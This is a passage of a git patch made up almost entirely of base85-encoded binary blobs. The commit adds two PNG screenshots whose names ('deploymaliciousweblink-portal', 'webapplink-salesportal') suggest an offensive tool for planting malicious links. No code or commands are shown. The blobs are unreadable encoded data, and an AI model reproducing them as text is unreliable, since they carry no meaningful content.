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 literal 15332 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 Ol#;xfT#?MP*Z&V&oC+HN From 8133dfb99fb2aea8cf346f7c13fb7c2a53d403a6 Mon Sep 17 00:00:00 2001 From: mlcsec <47215311+mlcsec@users.noreply.github.com> Date: Wed, 24 Jul 2024 13:32:46 +0100 Subject: [PATCH 22/37] Update v1.0 --- .github/deploymaliciousweblink-portal.png | Bin 0 -> 41954 bytes .github/webapplink-salesportal.png | Bin 0 -> 10343 bytes 2 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 .github/deploymaliciousweblink-portal.png create mode 100644 .github/webapplink-salesportal.png diff --git a/.github/deploymaliciousweblink-portal.png b/.github/deploymaliciousweblink-portal.png new file mode 100644 index 0000000000000000000000000000000000000000..714df52023006062cb3484f59c4bd0edfc62bec8 GIT binary patch literal 41954 zcmb??c{rQx7pCru;_HI8DZaK}7u3=!DN5REtEEbx+TtoDwb^RtcFCQHH?q2t%cd}E(<@Sl-Xjc2W2^UNi_20{HR;mp z_qIveyFzX_hDk}uwr%`2bq1F|kdi8nx_R}oZL}LpDCeFX70(vqv3~t(KCam5?DyRF zR}b7p9o4ozlw3Rb%-ibuBg6Bd33@wxcPcv@B}O{$^LzXG=41fcaG&+Jp)j8=$D`7E zW8cE9k1=Tn#NmmA=0sIX0Q15#QCFy6t`)aXc@xszu7`~_^9sfsY zcsNqv2wnUrE1IDP^)93i>%Vf?&p;ijoU-`jUl^bqKVPN>e~GPlJ}u}cE<+5(PmwZG zQpuCGCONprOtx1mQ*D z!f%2gxF^dwzX1k95a`1Rl{k#^xreWojq-0HE!@w!ak3)yL53{BJ!+1>=uZkI@Gf+J-2 z;qhF5-0C2ad?W@qAdYKsP7zNl2Bm@6G+v9V%4!dD;{9{)PwcS=v4NZ4F6JTYGZK`> 